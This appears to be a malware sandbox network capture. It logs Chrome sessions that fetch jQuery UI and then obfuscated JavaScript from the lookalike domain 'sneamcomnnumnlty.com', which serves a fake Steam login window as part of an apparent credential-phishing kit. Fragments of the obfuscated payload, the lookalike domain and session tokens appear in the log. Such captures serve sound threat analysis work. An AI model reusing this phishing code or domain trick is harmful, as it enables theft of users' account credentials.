accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.q78MNxi5QTdn5i4lijWrLs-DOg7EQVlN.87lDbI6_M3KMAVu0.6Ql_P15JQKaL9qcGO7U39O6Zz-Xu7nmXb0XQdSQrhe96sOknvaVpjDaAsejCMn6qP7hEofy203MLghwN0wWtAtek.M0-VEhh8wn4eEGVZiCFs8g
2024-10-06 12:08:22 UTC	1014	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:22 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Etag: W/"120-PzdTTbuLhSbBSY+6oqGFwCrdf8k" Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SSLxpxgG9FBYHJ3gaTYXWaW1AlgBZYAWIRHZzjECuWbTVl5gY01qo%2B5gXfsYh97K4c0m%2BJxzMO90zuttkdDrNvn016HD9%2FjiyNiXIo0qTjkkdMrinZO0k%2BmqZw0aopk3GMbNbZFxuw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce58954193032d3-EWR
2024-10-06 12:08:22 UTC	295	IN	Data Raw: 31 32 30 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 73 65 72 76 69 63 65 22 3a 22 53 74 65 61 6d 22 2c 22 69 66 72 61 6d 65 22 3a 74 72 75 65 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 32 38 32 31 36 35 30 32 35 36 35 2e 33 31 36 34 2c 22 77 69 6e 64 6f 77 22 3a 7b 22 74 79 70 65 22 3a 22 46 61 6b 65 57 69 6e 64 6f 77 22 2c 22 74 69 74 6c 65 22 3a 22 53 74 65 61 6d 22 2c 22 75 72 6c 22 3a 22 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 22 2c 22 70 61 74 68 22 3a 22 2f 6c 6f 67 69 6e 2f 68 6f 6d 65 2f 3f 67 6f 74 6f 3d 22 2c 22 69 63 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 7d 2c 22 6c 6f 67 69 6e 22 3a 7b 7d 2c 22 62 72 6f 77 73 65 72 22 3a Data Ascii: 120{"success":true,"service":"Steam","iframe":true,"timestamp":1728216502565.3164,"window":{"type":"FakeWindow","title":"Steam","url":"steamcommunity.com","path":"/login/home/?goto=","icon":"https://steamcommunity.com/favicon.ico"},"login":{},"browser":
2024-10-06 12:08:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49740	151.101.2.137	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:22 UTC	361	OUT	GET /ui/1.11.3/jquery-ui.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:22 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 469790 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-72b1e" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:22 GMT Age: 437097 X-Served-By: cache-lga21958-LGA, cache-ewr-kewr1740050-EWR X-Cache: HIT, HIT X-Cache-Hits: 3598, 1 X-Timer: S1728216502.376247,VS0,VE2 Vary: Accept-Encoding
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 31 2e 33 20 2d 20 32 30 31 35 2d 30 32 2d 31 32 0a 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 2a 20 49 6e 63 6c 75 64 65 73 3a 20 63 6f 72 65 2e 6a 73 2c 20 77 69 64 67 65 74 2e 6a 73 2c 20 6d 6f 75 73 65 2e 6a 73 2c 20 70 6f 73 69 74 69 6f 6e 2e 6a 73 2c 20 61 63 63 6f 72 64 69 6f 6e 2e 6a 73 2c 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2e 6a 73 2c 20 62 75 74 74 6f 6e 2e 6a 73 2c 20 64 61 74 65 70 69 63 6b 65 72 2e 6a 73 2c 20 64 69 61 6c 6f 67 2e 6a 73 2c 20 64 72 61 67 67 61 62 6c 65 2e 6a 73 2c 20 64 72 6f 70 70 61 62 6c 65 2e 6a 73 2c 20 65 66 66 65 63 74 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6c 69 6e 64 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6f 75 6e 63 65 2e 6a 73 2c Data Ascii: /! jQuery UI - v1.11.3 - 2015-02-12 http://jqueryui.com* Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js,
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 67 65 74 43 72 65 61 74 65 4f 70 74 69 6f 6e 73 28 29 2c 0a 09 09 09 6f 70 74 69 6f 6e 73 20 29 3b 0a 0a 09 09 74 68 69 73 2e 5f 63 72 65 61 74 65 28 29 3b 0a 09 09 74 68 69 73 2e 5f 74 72 69 67 67 65 72 28 20 22 63 72 65 61 74 65 22 2c 20 6e 75 6c 6c 2c 20 74 68 69 73 2e 5f 67 65 74 43 72 65 61 74 65 45 76 65 6e 74 44 61 74 61 28 29 20 29 3b 0a 09 09 74 68 69 73 2e 5f 69 6e 69 74 28 29 3b 0a 09 7d 2c 0a 09 5f 67 65 74 43 72 65 61 74 65 4f 70 74 69 6f 6e 73 3a 20 24 2e 6e 6f 6f 70 2c 0a 09 5f 67 65 74 43 72 65 61 74 65 45 76 65 6e 74 44 61 74 61 3a 20 24 2e 6e 6f 6f 70 2c 0a 09 5f 63 72 65 61 74 65 3a 20 24 2e 6e 6f 6f 70 2c 0a 09 5f 69 6e 69 74 3a 20 24 2e 6e 6f 6f 70 2c 0a 0a 09 64 65 73 74 72 6f 79 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 74 Data Ascii: getCreateOptions(),options );this._create();this._trigger( "create", null, this._getCreateEventData() );this._init();},_getCreateOptions: $.noop,_getCreateEventData: $.noop,_create: $.noop,_init: $.noop,destroy: function() {t
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 24 2e 70 6f 73 69 74 69 6f 6e 2e 67 65 74 53 63 72 6f 6c 6c 49 6e 66 6f 28 20 77 69 74 68 69 6e 20 29 2c 0a 09 09 63 6f 6c 6c 69 73 69 6f 6e 20 3d 20 28 20 6f 70 74 69 6f 6e 73 2e 63 6f 6c 6c 69 73 69 6f 6e 20 7c 7c 20 22 66 6c 69 70 22 20 29 2e 73 70 6c 69 74 28 20 22 20 22 20 29 2c 0a 09 09 6f 66 66 73 65 74 73 20 3d 20 7b 7d 3b 0a 0a 09 64 69 6d 65 6e 73 69 6f 6e 73 20 3d 20 67 65 74 44 69 6d 65 6e 73 69 6f 6e 73 28 20 74 61 72 67 65 74 20 29 3b 0a 09 69 66 20 28 20 74 61 72 67 65 74 5b 30 5d 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 20 29 20 7b 0a 09 09 2f 2f 20 66 6f 72 63 65 20 6c 65 66 74 20 74 6f 70 20 74 6f 20 61 6c 6c 6f 77 20 66 6c 69 70 70 69 6e 67 0a 09 09 6f 70 74 69 6f 6e 73 2e 61 74 20 3d 20 22 6c 65 66 74 20 74 6f 70 22 3b 0a 09 7d 0a Data Ascii: $.position.getScrollInfo( within ),collision = ( options.collision \|\| "flip" ).split( " " ),offsets = {};dimensions = getDimensions( target );if ( target[0].preventDefault ) {// force left top to allow flippingoptions.at = "left top";}
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 64 65 72 73 2e 69 6e 64 65 78 28 20 65 76 65 6e 74 2e 74 61 72 67 65 74 20 29 2c 0a 09 09 09 74 6f 46 6f 63 75 73 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 09 73 77 69 74 63 68 20 28 20 65 76 65 6e 74 2e 6b 65 79 43 6f 64 65 20 29 20 7b 0a 09 09 09 63 61 73 65 20 6b 65 79 43 6f 64 65 2e 52 49 47 48 54 3a 0a 09 09 09 63 61 73 65 20 6b 65 79 43 6f 64 65 2e 44 4f 57 4e 3a 0a 09 09 09 09 74 6f 46 6f 63 75 73 20 3d 20 74 68 69 73 2e 68 65 61 64 65 72 73 5b 20 28 20 63 75 72 72 65 6e 74 49 6e 64 65 78 20 2b 20 31 20 29 20 25 20 6c 65 6e 67 74 68 20 5d 3b 0a 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 63 61 73 65 20 6b 65 79 43 6f 64 65 2e 4c 45 46 54 3a 0a 09 09 09 63 61 73 65 20 6b 65 79 43 6f 64 65 2e 55 50 3a 0a 09 09 09 09 74 6f 46 6f 63 75 73 20 3d 20 74 68 69 73 Data Ascii: ders.index( event.target ),toFocus = false;switch ( event.keyCode ) {case keyCode.RIGHT:case keyCode.DOWN:toFocus = this.headers[ ( currentIndex + 1 ) % length ];break;case keyCode.LEFT:case keyCode.UP:toFocus = this
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 4d 65 6e 75 49 74 65 6d 73 28 20 63 68 61 72 61 63 74 65 72 20 29 3b 0a 09 09 09 6d 61 74 63 68 20 3d 20 73 6b 69 70 20 26 26 20 6d 61 74 63 68 2e 69 6e 64 65 78 28 20 74 68 69 73 2e 61 63 74 69 76 65 2e 6e 65 78 74 28 29 20 29 20 21 3d 3d 20 2d 31 20 3f 0a 09 09 09 09 74 68 69 73 2e 61 63 74 69 76 65 2e 6e 65 78 74 41 6c 6c 28 20 22 2e 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 22 20 29 20 3a 0a 09 09 09 09 6d 61 74 63 68 3b 0a 0a 09 09 09 2f 2f 20 49 66 20 6e 6f 20 6d 61 74 63 68 65 73 20 6f 6e 20 74 68 65 20 63 75 72 72 65 6e 74 20 66 69 6c 74 65 72 2c 20 72 65 73 65 74 20 74 6f 20 74 68 65 20 6c 61 73 74 20 63 68 61 72 61 63 74 65 72 20 70 72 65 73 73 65 64 0a 09 09 09 2f 2f 20 74 6f 20 6d 6f 76 65 20 64 6f 77 6e 20 74 68 65 20 6d 65 6e 75 20 74 6f 20 74 68 Data Ascii: MenuItems( character );match = skip && match.index( this.active.next() ) !== -1 ?this.active.nextAll( ".ui-menu-item" ) :match;// If no matches on the current filter, reset to the last character pressed// to move down the menu to th
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 75 73 65 64 6f 77 6e 20 61 6e 64 20 63 6c 6f 73 65 20 74 68 65 20 6d 65 6e 75 20 69 66 0a 09 09 09 09 2f 2f 20 74 68 65 20 75 73 65 72 20 63 6c 69 63 6b 73 20 73 6f 6d 65 77 68 65 72 65 20 6f 75 74 73 69 64 65 20 6f 66 20 74 68 65 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 0a 09 09 09 09 76 61 72 20 6d 65 6e 75 45 6c 65 6d 65 6e 74 20 3d 20 74 68 69 73 2e 6d 65 6e 75 2e 65 6c 65 6d 65 6e 74 5b 20 30 20 5d 3b 0a 09 09 09 09 69 66 20 28 20 21 24 28 20 65 76 65 6e 74 2e 74 61 72 67 65 74 20 29 2e 63 6c 6f 73 65 73 74 28 20 22 2e 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 22 20 29 2e 6c 65 6e 67 74 68 20 29 20 7b 0a 09 09 09 09 09 74 68 69 73 2e 5f 64 65 6c 61 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 09 09 76 61 72 20 74 68 61 74 20 3d 20 74 68 69 73 3b Data Ascii: usedown and close the menu if// the user clicks somewhere outside of the autocompletevar menuElement = this.menu.element[ 0 ];if ( !$( event.target ).closest( ".ui-menu-item" ).length ) {this._delay(function() {var that = this;
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 62 75 74 74 6f 6e 45 6c 65 6d 65 6e 74 20 3d 20 61 6e 63 65 73 74 6f 72 2e 66 69 6c 74 65 72 28 20 6c 61 62 65 6c 53 65 6c 65 63 74 6f 72 20 29 3b 0a 09 09 09 09 69 66 20 28 20 21 74 68 69 73 2e 62 75 74 74 6f 6e 45 6c 65 6d 65 6e 74 2e 6c 65 6e 67 74 68 20 29 20 7b 0a 09 09 09 09 09 74 68 69 73 2e 62 75 74 74 6f 6e 45 6c 65 6d 65 6e 74 20 3d 20 61 6e 63 65 73 74 6f 72 2e 66 69 6e 64 28 20 6c 61 62 65 6c 53 65 6c 65 63 74 6f 72 20 29 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 09 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 61 64 64 43 6c 61 73 73 28 20 22 75 69 2d 68 65 6c 70 65 72 2d 68 69 64 64 65 6e 2d 61 63 63 65 73 73 69 62 6c 65 22 20 29 3b 0a 0a 09 09 09 63 68 65 63 6b 65 64 20 3d 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 69 73 28 20 22 3a 63 68 65 63 Data Ascii: buttonElement = ancestor.filter( labelSelector );if ( !this.buttonElement.length ) {this.buttonElement = ancestor.find( labelSelector );}}this.element.addClass( "ui-helper-hidden-accessible" );checked = this.element.is( ":chec
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 70 2d 75 70 20 64 61 74 65 20 70 69 63 6b 65 72 20 77 68 65 6e 20 62 75 74 74 6f 6e 20 63 6c 69 63 6b 65 64 0a 09 09 09 62 75 74 74 6f 6e 54 65 78 74 20 3d 20 74 68 69 73 2e 5f 67 65 74 28 69 6e 73 74 2c 20 22 62 75 74 74 6f 6e 54 65 78 74 22 29 3b 0a 09 09 09 62 75 74 74 6f 6e 49 6d 61 67 65 20 3d 20 74 68 69 73 2e 5f 67 65 74 28 69 6e 73 74 2c 20 22 62 75 74 74 6f 6e 49 6d 61 67 65 22 29 3b 0a 09 09 09 69 6e 73 74 2e 74 72 69 67 67 65 72 20 3d 20 24 28 74 68 69 73 2e 5f 67 65 74 28 69 6e 73 74 2c 20 22 62 75 74 74 6f 6e 49 6d 61 67 65 4f 6e 6c 79 22 29 20 3f 0a 09 09 09 09 24 28 22 3c 69 6d 67 2f 3e 22 29 2e 61 64 64 43 6c 61 73 73 28 74 68 69 73 2e 5f 74 72 69 67 67 65 72 43 6c 61 73 73 29 2e 0a 09 09 09 09 09 61 74 74 72 28 7b 20 73 72 63 3a 20 62 75 Data Ascii: p-up date picker when button clickedbuttonText = this._get(inst, "buttonText");buttonImage = this._get(inst, "buttonImage");inst.trigger = $(this._get(inst, "buttonImageOnly") ?$("<img/>").addClass(this._triggerClass).attr({ src: bu
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 63 6b 65 72 2e 5f 75 70 64 61 74 65 41 6c 74 65 72 6e 61 74 65 28 69 6e 73 74 29 3b 0a 09 09 09 09 09 24 2e 64 61 74 65 70 69 63 6b 65 72 2e 5f 75 70 64 61 74 65 44 61 74 65 70 69 63 6b 65 72 28 69 6e 73 74 29 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 09 63 61 74 63 68 20 28 65 72 72 29 20 7b 0a 09 09 09 7d 0a 09 09 7d 0a 09 09 72 65 74 75 72 6e 20 74 72 75 65 3b 0a 09 7d 2c 0a 0a 09 2f 2a 20 50 6f 70 2d 75 70 20 74 68 65 20 64 61 74 65 20 70 69 63 6b 65 72 20 66 6f 72 20 61 20 67 69 76 65 6e 20 69 6e 70 75 74 20 66 69 65 6c 64 2e 0a 09 20 2a 20 49 66 20 66 61 6c 73 65 20 72 65 74 75 72 6e 65 64 20 66 72 6f 6d 20 62 65 66 6f 72 65 53 68 6f 77 20 65 76 65 6e 74 20 68 61 6e 64 6c 65 72 20 64 6f 20 6e 6f 74 20 73 68 6f 77 2e 0a 09 20 2a 20 40 70 61 72 61 Data Ascii: cker._updateAlternate(inst);$.datepicker._updateDatepicker(inst);}}catch (err) {}}return true;},/* Pop-up the date picker for a given input field. * If false returned from beforeShow event handler do not show. * @para
2024-10-06 12:08:22 UTC	16384	IN	Data Raw: 72 6d 61 74 20 3d 20 30 3b 20 69 46 6f 72 6d 61 74 20 3c 20 66 6f 72 6d 61 74 2e 6c 65 6e 67 74 68 3b 20 69 46 6f 72 6d 61 74 2b 2b 29 20 7b 0a 09 09 09 69 66 20 28 6c 69 74 65 72 61 6c 29 20 7b 0a 09 09 09 09 69 66 20 28 66 6f 72 6d 61 74 2e 63 68 61 72 41 74 28 69 46 6f 72 6d 61 74 29 20 3d 3d 3d 20 22 27 22 20 26 26 20 21 6c 6f 6f 6b 41 68 65 61 64 28 22 27 22 29 29 20 7b 0a 09 09 09 09 09 6c 69 74 65 72 61 6c 20 3d 20 66 61 6c 73 65 3b 0a 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 63 68 65 63 6b 4c 69 74 65 72 61 6c 28 29 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 73 77 69 74 63 68 20 28 66 6f 72 6d 61 74 2e 63 68 61 72 41 74 28 69 46 6f 72 6d 61 74 29 29 20 7b 0a 09 09 09 09 09 63 61 73 65 20 22 64 22 3a 0a 09 Data Ascii: rmat = 0; iFormat < format.length; iFormat++) {if (literal) {if (format.charAt(iFormat) === "'" && !lookAhead("'")) {literal = false;} else {checkLiteral();}} else {switch (format.charAt(iFormat)) {case "d":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49745	172.67.175.206	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:23 UTC	1153	OUT	GET /20412b512e08005d5856534b.js HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.pl-SinX5vnLRMPSkcsu8OauXJRrbQjjh.NLiq_QV1AR7bCL-H.fJVn0pxppmZwlL3eZwM7sQ9H79b2vJsXnWRHx7SNOK1EQF_PK9K36rmDR_FUhiVlgjrVMRZgD3XFSTyoAxh7IZhsAD_iepiQKKSmlaNqwOVIrUohfIRLgVHdFAzsR-xj09JQT2rMhxm9o1B-2XFKz2j1Pa0cNLQJaPR_ZQuU2GkfLYCK_N66xWO0b3CA8dFAgauCd0p0wApkOnG8gpyEqQ9yeP7NthAoYOMUVOh1owk1FvuArTWZjV-JPXlsmltq.J267FVKRAoMTYoVUqxOATg; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImQ4ZTBjOWM0NjI2M2Y2NDU5ZWFiNWU4ZmRmYzUyYzMxIiwic2VydmljZSI6IlN0ZWFtIn0.fSMgYBULqA6j_tCey-BCCEICC-_iPvnqoa5GfrFDwcs; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.q78MNxi5QTdn5i4lijWrLs-DOg7EQVlN.87lDbI6_M3KMAVu0.6Ql_P15JQKaL9qcGO7U39O6Zz-Xu7nmXb0XQdSQrhe96sOknvaVpjDaAsejCMn6qP7hEofy203MLghwN0wWtAtek.M0-VEhh8wn4eEGVZiCFs8g
2024-10-06 12:08:23 UTC	1071	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:23 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Last-Modified: Wed, 25 Sep 2024 10:33:41 GMT Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NvgijOSiVhsl1X%2FcPKWo27WPREQ5rfedOFM7NUq7jZkSX79A0lm%2FOaFvpfJr7xFKfv%2Bh7lTocDEpdPl9yFDDePNkhF1HJ3FExCWz9v9ybQKB42TbqLLduyVLP%2BqLRENx9I1nas7Lew%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce589584d76438d-EWR
2024-10-06 12:08:23 UTC	298	IN	Data Raw: 37 62 36 66 0d 0a 66 75 6e 63 74 69 6f 6e 20 5f 30 78 34 36 61 64 28 5f 30 78 32 30 63 64 38 62 2c 5f 30 78 64 35 65 31 30 30 29 7b 63 6f 6e 73 74 20 5f 30 78 31 31 30 64 62 66 3d 5f 30 78 31 31 30 64 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 34 36 61 64 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 36 61 64 31 62 2c 5f 30 78 34 66 39 66 66 33 29 7b 5f 30 78 34 36 61 64 31 62 3d 5f 30 78 34 36 61 64 31 62 2d 30 78 31 38 64 3b 6c 65 74 20 5f 30 78 61 64 63 31 36 63 3d 5f 30 78 31 31 30 64 62 66 5b 5f 30 78 34 36 61 64 31 62 5d 3b 72 65 74 75 72 6e 20 5f 30 78 61 64 63 31 36 63 3b 7d 2c 5f 30 78 34 36 61 64 28 5f 30 78 32 30 63 64 38 62 2c 5f 30 78 64 35 65 31 30 30 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 66 30 35 61 37 2c 5f 30 78 32 63 65 63 64 35 29 Data Ascii: 7b6ffunction _0x46ad(_0x20cd8b,_0xd5e100){const _0x110dbf=_0x110d();return _0x46ad=function(_0x46ad1b,_0x4f9ff3){_0x46ad1b=_0x46ad1b-0x18d;let _0xadc16c=_0x110dbf[_0x46ad1b];return _0xadc16c;},_0x46ad(_0x20cd8b,_0xd5e100);}(function(_0x2f05a7,_0x2cecd5)
2024-10-06 12:08:23 UTC	1369	IN	Data Raw: 37 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 33 62 32 39 38 64 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 31 63 33 29 29 2f 30 78 31 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 33 31 29 29 2f 30 78 32 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 33 35 29 29 2f 30 78 33 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 34 66 29 29 2f 30 78 34 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 31 66 35 29 29 2f 30 78 35 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 32 34 29 29 2f 30 78 36 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 34 64 31 66 66 63 28 30 78 32 33 34 29 29 2f Data Ascii: 7();while(!![]){try{const _0x3b298d=-parseInt(_0x4d1ffc(0x1c3))/0x1+-parseInt(_0x4d1ffc(0x231))/0x2+-parseInt(_0x4d1ffc(0x235))/0x3+parseInt(_0x4d1ffc(0x24f))/0x4(parseInt(_0x4d1ffc(0x1f5))/0x5)+parseInt(_0x4d1ffc(0x224))/0x6(parseInt(_0x4d1ffc(0x234))/
2024-10-06 12:08:23 UTC	1369	IN	Data Raw: 31 36 39 61 32 64 2c 5f 30 78 63 31 66 62 30 30 5b 5f 30 78 31 36 39 61 32 64 5d 29 3b 7d 72 65 74 75 72 6e 20 5f 30 78 31 33 38 61 61 36 3b 7d 2c 5f 30 78 34 62 39 63 35 33 3d 28 5f 30 78 34 61 30 65 38 38 2c 5f 30 78 32 30 34 61 66 32 29 3d 3e 28 29 3d 3e 28 5f 30 78 32 30 34 61 66 32 7c 7c 5f 30 78 34 61 30 65 38 38 28 28 5f 30 78 32 30 34 61 66 32 3d 7b 27 65 78 70 6f 72 74 73 27 3a 7b 7d 7d 29 5b 5f 30 78 34 62 38 35 62 32 28 30 78 32 33 32 29 5d 2c 5f 30 78 32 30 34 61 66 32 29 2c 5f 30 78 32 30 34 61 66 32 5b 5f 30 78 34 62 38 35 62 32 28 30 78 32 33 32 29 5d 29 2c 5f 30 78 33 65 35 38 35 3d 28 5f 30 78 33 31 66 65 65 62 2c 5f 30 78 31 35 31 65 31 30 2c 5f 30 78 34 38 37 61 31 65 2c 5f 30 78 33 39 61 38 33 36 29 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 Data Ascii: 169a2d,_0xc1fb00[_0x169a2d]);}return _0x138aa6;},_0x4b9c53=(_0x4a0e88,_0x204af2)=>()=>(_0x204af2\|\|_0x4a0e88((_0x204af2={'exports':{}})[_0x4b85b2(0x232)],_0x204af2),_0x204af2[_0x4b85b2(0x232)]),_0x3e585=(_0x31feeb,_0x151e10,_0x487a1e,_0x39a836)=>{const _0x
2024-10-06 12:08:23 UTC	1369	IN	Data Raw: 30 31 39 35 28 30 78 31 38 65 29 2c 27 70 61 64 64 69 6e 67 52 69 67 68 74 27 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 34 64 29 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 37 33 29 2c 27 6d 61 72 67 69 6e 4c 65 66 74 27 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 33 30 29 2c 27 6d 61 72 67 69 6e 54 6f 70 27 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 32 65 29 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 61 39 29 2c 5f 30 78 34 37 30 31 39 35 28 30 78 32 32 32 29 2c 27 62 6f 72 64 65 72 54 6f 70 57 69 64 74 68 27 2c 27 62 6f 72 64 65 72 42 6f 74 74 6f 6d 57 69 64 74 68 27 5d 2c 5f 30 78 63 63 62 39 34 34 3d 5f 30 78 37 39 30 39 36 65 5b 5f 30 78 34 37 30 31 39 35 28 30 78 31 61 63 29 5d 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 66 64 64 32 63 28 29 7b 63 6f 6e 73 Data Ascii: 0195(0x18e),'paddingRight',_0x470195(0x24d),_0x470195(0x273),'marginLeft',_0x470195(0x230),'marginTop',_0x470195(0x22e),_0x470195(0x2a9),_0x470195(0x222),'borderTopWidth','borderBottomWidth'],_0xccb944=_0x79096e[_0x470195(0x1ac)];function _0x3fdd2c(){cons
2024-10-06 12:08:23 UTC	1369	IN	Data Raw: 66 33 34 35 3d 5f 30 78 35 37 38 63 32 35 5b 27 6d 61 72 67 69 6e 54 6f 70 27 5d 2b 5f 30 78 35 37 38 63 32 35 5b 27 6d 61 72 67 69 6e 42 6f 74 74 6f 6d 27 5d 2c 5f 30 78 66 37 34 62 39 30 3d 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 61 39 29 5d 2b 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 32 32 29 5d 2c 5f 30 78 35 37 33 36 37 65 3d 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 61 64 29 5d 2b 5f 30 78 35 37 38 63 32 35 5b 5f 30 78 34 39 31 35 32 36 28 30 78 32 36 34 29 5d 2c 5f 30 78 32 63 36 38 36 35 3d 5f 30 78 34 63 39 30 38 37 28 5f 30 78 33 62 32 38 39 37 5b 5f 30 78 34 39 31 35 32 36 28 30 78 31 63 37 29 5d 29 3b 5f 30 78 32 63 36 38 36 35 21 3d 3d 21 30 78 31 26 26 28 5f Data Ascii: 